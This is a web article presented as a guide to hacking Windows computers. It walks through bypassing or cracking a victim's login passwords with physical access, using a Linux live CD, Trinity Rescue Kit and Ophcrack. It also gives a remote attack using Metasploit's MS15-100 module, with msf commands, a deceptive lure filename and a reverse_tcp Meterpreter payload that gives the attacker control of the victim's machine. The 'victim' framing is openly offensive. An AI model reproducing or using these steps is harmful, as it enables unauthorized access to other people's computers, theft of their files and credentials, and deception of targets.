In this article, we shall be looking at how to hack Windows operating systems. There are quite a number of options available to hackers, with each having its own strengths and weaknesses. These weaknesses can be used to keep your computer safe from potential malicious hackers.
Hacking Windows Operating Systems
The first three methods described here can be used if the hacker has physical access to the victim’s computer. The last two methods are for remote access to a person’s system.
Method 1: Using Linux CD
If you do not want to access the operating system itself, the process becomes much easier. Use a Linux live CD and simply drag and drop files into your USB hard drive.
- Download and burn the .iso Linux file onto a CD. Place the CD into the computer that you want to hack. Use the CD to boot up.
- When the menu appears, click on “Try Ubuntu.” This will take you to a desktop setting.
- On the menu bar, go to Places menu and click on Windows drive. You will be able to see the NTFS drives.
- Some files might have permissions enabled, so you will require root access. If you cannot copy or view certain files, go to Applications, then Accessories, and click on Terminal. Once the terminal window opens up, type in sudo nautilus. There is no need to fill in any password, just leave it blank. This will give you access to all the files.
The problem with this method is that though you can access the victim’s file system, you will not be able to access any encrypted files. If files or an operating system is encrypted using Bit locker or True crypt, hacking using this method may be very difficult.
Method 2: Using Trinity Rescue Kit
This method involves some command line work. Follow the instruction below and all will be well.
- Go to the Trinity Rescue site and download the .ISO file. Burn the file onto a CD. Pop the CD into the computer’s drive and boot up.
- Once it has booted, go to the main menu, click on Windows Password Resetting, then click on Interactive Winpass.
- Follow the instructions that will appear on the screen. Pick which partition is to be edited and click on Edit User data and Passwords.
- 4, Fill in the name of the user whose account is being edited. Choose option 1, Clear User Password.
- When you are finished, type an exclamation mark (!) to exit the menu.
- Press, q to exit the Winpass menu.
- Restart the computer and you will be able to access the computer without requiring a password.
Just like method 1 above, if the victim encrypts their files, you will not be able to get far using this method. This method will work if, like most people, the victim only encrypts certain files.
Method 3: Using Ophcrack
Unlike the previous two methods, this one will grant you access to everything, including the encrypted files. This method reveals the password the victim has set rather than bypassing it. It is also very effective in cracking Windows computers where the user has set up an authentication Microsoft account.
- Download the ophcrack Live CD (Vista version works best on Win 7 and 8 computers).
- Burn the software to a CD and use it to boot the victim’s computer. This may take a while.
- You will see what resembles a desktop setting. Begin attempting to crack the user’s passwords. Alternatively, go to the original menu and click on Text Mode to start cracking passwords. You should be able to see passwords popping up at the top of the window. If the software does not find a password, it will inform you.
- Reboot and use the passwords retrieved to log on to Windows.
Though Ophcrack is able to crack encrypted operating systems, it may not be able to hack every single password. The stronger, longer, and more complex a password is, the harder it is to crack.
Method 4: Remote Hacking Using Metasploit
Microsoft was forced to release a new patch in late 2015 after a hacker was able to remotely access the Windows operating systems. The MS15-100 vulnerability was penetrated through the deployment of an MCL file. For hackers to effectively penetrate a system, it is important to adopt a multi-pronged approach. One of the most critical parts of a hack is the reconnaissance stage.
Metasploit is a tool that allows a hacker to penetrate a system in order to test its security. It can be used to develop and execute an exploit code against a system remotely. The hack described below is aimed specifically against Windows Media Center that is installed on Vista, 7, 8, and 8.1 systems. For it to work, though, the victim has to be sent a .mcl link and open it.
It is important to note that this hack requires more advanced skills than the previous ones. You are going to need some working knowledge of Metasploit and Linux.
1. The first step is to run Kali 2.0 or later on your system. The earlier versions of Kali just won’t cut it.
2. Go to Exploit-DB. In the Remote Code Execution Exploits window, you will see the MS15-100 exploit designated under MS Windows Media Center. Click on it.
3. You will see the Metasploit code appear on the screen. This is required for the Metasploit framework. Copy it and paste it into one of Kali’s text files.
4. Add a new module to your Metasploit framework. This step will have to be done first unless you are using the updated version where Rapid7 have already added a new module to their framework. Give the new module a name — ms15_100 _mcl.rb.
5. After adding the new module, run Metasploit and search for New Module. Run the command:
msf > search ms15_100.
6. Load the new module by using the command:
msf > use exploit/windows/file format/ms15_100_mcl
7. The next step is to determine which requirements the new module needs.
msf > info
There are two file names that need to be specified. The first is the .mcl file and is named FILENAME; the second one is the malicious file that will be sent to the victim’s system and is named FILE_NAME.
8. Set the names of the .mcl file as well as the malicious one. The malicious file should be given a name that will prompt the victim to open it. For example, you can call it worlds_smallest_laptop_ever.mcl. Use the commands:
msf > set FILENAME worlds_smallest_laptop_ever.mcl
msf > set FILE_NAME smallest_laptop.exe
9. The next step is to set the payload using Windows Meterpreter:
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > exploit
The file that needs to be sent to the victim can be found in /root/msf4/local/worlds_smallest_laptop_ever.mcl.
Now that the .mcl file has been created in Metasploit and a share has been opened on the network, the file is ready to be sent to the victim.
10. As soon as the victim opens the .mcl file to watch the video about the world’s smallest laptop ever, the file will link back to your Kali system and open a Meterpreter session. If the session does not open automatically, type:
msf > sessions -1
Once the Meterpreter session opens on your computer, you can pretty much do anything on the victim’s system. You have full control of the victim’s system, especially if the individual who clicked the file is the administrator. If a guest user clicked it, then you will only have guest user privileges.
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